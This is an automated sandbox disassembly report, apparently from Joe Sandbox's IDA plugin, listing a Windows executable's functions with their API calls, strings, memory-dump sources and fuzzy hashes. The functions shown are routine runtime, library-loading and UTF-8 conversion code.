FreeLibrary.KERNEL32(?,00000000,?,00007FF7FA71E182,?,?,0000018F826D8F68,00007FF7FA71A253,?,?,?,00007FF7FA71A14A,?,?,?,00007FF7FA7154A2), ref: 00007FF7FA71DF64
GetProcAddress.KERNEL32(?,00000000,?,00007FF7FA71E182,?,?,0000018F826D8F68,00007FF7FA71A253,?,?,?,00007FF7FA71A14A,?,?,?,00007FF7FA7154A2), ref: 00007FF7FA71DF70

Strings

ext-ms-, xrefs: 00007FF7FA71DEC1
api-ms-, xrefs: 00007FF7FA71DEAE

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: d8cc7062eaeb840b6a05769bf190717e46830e73a0557d63fb398ab5923ee7ee
Instruction ID: 336597d8be05c1f2a6fbe8bd71d99f4b8b37bc84bedc3cbd8981b58947b61d13
Opcode Fuzzy Hash: d8cc7062eaeb840b6a05769bf190717e46830e73a0557d63fb398ab5923ee7ee
Instruction Fuzzy Hash: 1C41F061B1D61281FB15AF169800E66A2D5BF0CBA0F894175DD3D877C9EF3CE50986F0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707630 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA7076CF
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA70771F

Strings

Failed to get UTF-8 buffer size., xrefs: 00007FF7FA707761
win32_utils_to_utf8, xrefs: 00007FF7FA707758
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7FA707748
WideCharToMultiByte, xrefs: 00007FF7FA707768
Out of memory., xrefs: 00007FF7FA707751

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 29c5713369a821ffdf206052f52b70c9c71ca66087eebd3ab8d6d8eadb6ef28e
Instruction ID: a5747fbf731048c43dfa2e3c91c961c3968268ddd5523b7b8c3f1ee472f0c1b1
Opcode Fuzzy Hash: 29c5713369a821ffdf206052f52b70c9c71ca66087eebd3ab8d6d8eadb6ef28e
Instruction Fuzzy Hash: 59418D32A08B8282F720EF16A84056AE7A5FB88790F989175DAAD43BD4DF3CD051C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707B70 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF7FA7036B9), ref: 00007FF7FA707BB1

Part of subcall function 00007FF7FA702620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7FA707774,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA702654
Part of subcall function 00007FF7FA702620: MessageBoxW.USER32 ref: 00007FF7FA702730

WideCharToMultiByte.KERNEL32(?,00007FF7FA7036B9), ref: 00007FF7FA707C25

Strings

Failed to get UTF-8 buffer size., xrefs: 00007FF7FA707BBE
win32_utils_to_utf8, xrefs: 00007FF7FA707BF2
Failed to encode wchar_t as UTF-8., xrefs: 00007FF7FA707C2F
WideCharToMultiByte, xrefs: 00007FF7FA707BC5, 00007FF7FA707C36
Out of memory., xrefs: 00007FF7FA707BEB

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: aab539b93ffeac37e32982e6298ac4f9f3ab9a0e846f993d4d23bb2dfd97e0ba
Instruction ID: 5a813482deb94eb4e87b873e4e108202ef9e74590a9c10bcc31d2a4459b05085
Opcode Fuzzy Hash: aab539b93ffeac37e32982e6298ac4f9f3ab9a0e846f993d4d23bb2dfd97e0ba
Instruction Fuzzy Hash: 58217122A18B4285FB10AF16E84147AB7A5FB58B90F948175CA6D437D4EF7CE501C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA719294 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7192D7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA7196C4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FA719960

Strings

p, xrefs: 00007FF7FA719389
f, xrefs: 00007FF7FA7193F9
p, xrefs: 00007FF7FA719401

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction ID: e5dc903a2871a76e58fb833ab4e0ff0053e3c788977294041c0099684d43b81a
Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
Instruction Fuzzy Hash: B8129369F0C14386FB247E15D054AB9F6E1FB48768FC84075E6AA476C4DB3CE5828BB0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707C60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7FA707CF5
MultiByteToWideChar.KERNEL32 ref: 00007FF7FA707D37

Strings

Failed to decode wchar_t from UTF-8, xrefs: 00007FF7FA707D5D
Failed to get wchar_t buffer size., xrefs: 00007FF7FA707D76
MultiByteToWideChar, xrefs: 00007FF7FA707D7D
win32_utils_from_utf8, xrefs: 00007FF7FA707D6D
Out of memory., xrefs: 00007FF7FA707D66

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 626452242-876015163
Opcode ID: a20b0b5ed8276b533e9075527801bd2e9cd7712b6a2c346206ed433b7f82c893
Instruction ID: 37af3f11854692eada2f81508556343d4ffdc2ca843c0a1085cb5edbbed4670c
Opcode Fuzzy Hash: a20b0b5ed8276b533e9075527801bd2e9cd7712b6a2c346206ed433b7f82c893
Instruction Fuzzy Hash: F5419232A18E42C2F720EF16A840979A7A5FB48790F948175DAAD47BE4EF3CD411C770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA7064A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7FA707A60: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF7FA7067F1,?,?,00000000,?,?,00007FF7FA70676D), ref: 00007FF7FA7064FF

Part of subcall function 00007FF7FA702770: MessageBoxW.USER32 ref: 00007FF7FA702845

Strings

LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7FA70655A
LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7FA7064D6
LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7FA706513

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
API String ID: 1662231829-3498232454
Opcode ID: 36c323d19424fe0ac76ca925b523eb1a2808b36d4a593579a88913e209ccb6ab
Instruction ID: 77f1eaec2622ba895baca2ee5b1a60f2ac92b3f0a6c151993885d23216d318b7
Opcode Fuzzy Hash: 36c323d19424fe0ac76ca925b523eb1a2808b36d4a593579a88913e209ccb6ab
Instruction Fuzzy Hash: C6319B51B1878241FB24FF25DD65ABAD291AF9C7C0FC48071DA2D426DAEF6CD10486B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA70CF18 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF7FA70D1CA,?,?,?,00007FF7FA70CEBC,?,?,00000001,00007FF7FA70CAD9), ref: 00007FF7FA70CF9D
GetLastError.KERNEL32(?,?,?,00007FF7FA70D1CA,?,?,?,00007FF7FA70CEBC,?,?,00000001,00007FF7FA70CAD9), ref: 00007FF7FA70CFAB
LoadLibraryExW.KERNEL32(?,?,?,00007FF7FA70D1CA,?,?,?,00007FF7FA70CEBC,?,?,00000001,00007FF7FA70CAD9), ref: 00007FF7FA70CFD5
FreeLibrary.KERNEL32(?,?,?,00007FF7FA70D1CA,?,?,?,00007FF7FA70CEBC,?,?,00000001,00007FF7FA70CAD9), ref: 00007FF7FA70D01B
GetProcAddress.KERNEL32(?,?,?,00007FF7FA70D1CA,?,?,?,00007FF7FA70CEBC,?,?,00000001,00007FF7FA70CAD9), ref: 00007FF7FA70D027

Strings

api-ms-, xrefs: 00007FF7FA70CFBD

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 96cc8d1137d818a2009be7de16c2cee15406677aaf285b7c4d33305375866f21
Instruction ID: 467e8a299fba081a063d1329b2f26e09bcb2e034cc5301d929a8134ef3bb6931
Opcode Fuzzy Hash: 96cc8d1137d818a2009be7de16c2cee15406677aaf285b7c4d33305375866f21
Instruction Fuzzy Hash: EB319C21A1A74291FF51AF12A800E75A2D8FF4CBA4F8985B5DD2D463C5EF3CE44687B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA707A60 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707A9A

Part of subcall function 00007FF7FA702620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF7FA707774,?,?,?,?,?,?,?,?,?,?,?,00007FF7FA70101D), ref: 00007FF7FA702654
Part of subcall function 00007FF7FA702620: MessageBoxW.USER32 ref: 00007FF7FA702730

MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF7FA7026FB), ref: 00007FF7FA707B20

Strings

Failed to decode wchar_t from UTF-8, xrefs: 00007FF7FA707B2A
Failed to get wchar_t buffer size., xrefs: 00007FF7FA707AA7
MultiByteToWideChar, xrefs: 00007FF7FA707AAE, 00007FF7FA707B31
win32_utils_from_utf8, xrefs: 00007FF7FA707AE9
Out of memory., xrefs: 00007FF7FA707AE2

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
API String ID: 3723044601-876015163
Opcode ID: ef0c7189470ede6921ef3de76a81d580bff1fc53629992aced72f99ea96e9165
Instruction ID: bdc09d87ec34aae87806b9b87fde5df2b7d35c1bb1166a064f814c4dae5710ff
Opcode Fuzzy Hash: ef0c7189470ede6921ef3de76a81d580bff1fc53629992aced72f99ea96e9165
Instruction Fuzzy Hash: A6214422B18A4281FB50EF15F800569E7A1FB9C794F984175DB6C83BE9EF2CD54187A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71A650 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A65F
FlsGetValue.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A674
FlsSetValue.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A695
FlsSetValue.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A6C2
FlsSetValue.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A6D3
FlsSetValue.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A6E4
SetLastError.KERNEL32(?,?,?,00007FF7FA722463,?,?,?,00007FF7FA71CBBC,?,?,00000000,00007FF7FA713A8F,?,?,?,00007FF7FA719343), ref: 00007FF7FA71A6FF

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: b04f43bc4ec85700bc2f7ec9d4df74abdab6beb770d5b6d84957cfc314b7bf6c
Instruction ID: 92254379e64bfdf7e7cff438a014a1dbf4d0e783d0303f10b49012128255ad75
Opcode Fuzzy Hash: b04f43bc4ec85700bc2f7ec9d4df74abdab6beb770d5b6d84957cfc314b7bf6c
Instruction Fuzzy Hash: 24217924E1C24246FB68BF719661D39E2C25F4C7B0FC40AB5D93E076D6DE2CA44196B1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA72709C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7FA7270CD
GetLastError.KERNEL32 ref: 00007FF7FA7270D9
CloseHandle.KERNEL32 ref: 00007FF7FA7270F1
CreateFileW.KERNEL32 ref: 00007FF7FA72711C
WriteConsoleW.KERNEL32 ref: 00007FF7FA72713B

Strings

CONOUT$, xrefs: 00007FF7FA7270FD

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

Associated: 0000000C.00000002.4117614124.00007FF7FA700000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118004697.00007FF7FA72A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA73D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118309192.00007FF7FA74C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA74E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA764000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA78E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA797000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA79B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.4118625034.00007FF7FA7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff7fa700000_7017.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction ID: 1aae23748237eecc824185a37a15e31b28528bf776a21e70eedc138605ab4347
Opcode Fuzzy Hash: 8e0e590b76c227ed4e0945dd3cc989df51f43b4687c0318c0d05d3449c58233d
Instruction Fuzzy Hash: 05117F21A18B4186F350AF52F854B29B2E0FB8CBE4F840274EA6D877D4DF7CD5148BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FA71A7C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A7D7
FlsSetValue.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A80D
FlsSetValue.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A83A
FlsSetValue.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A84B
FlsSetValue.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A85C
SetLastError.KERNEL32(?,?,?,00007FF7FA71447D,?,?,?,?,00007FF7FA71DDD7,?,?,00000000,00007FF7FA71A8E6,?,?,?), ref: 00007FF7FA71A877

Memory Dump Source

Source File: 0000000C.00000002.4117790635.00007FF7FA701000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7FA700000, based on PE: true

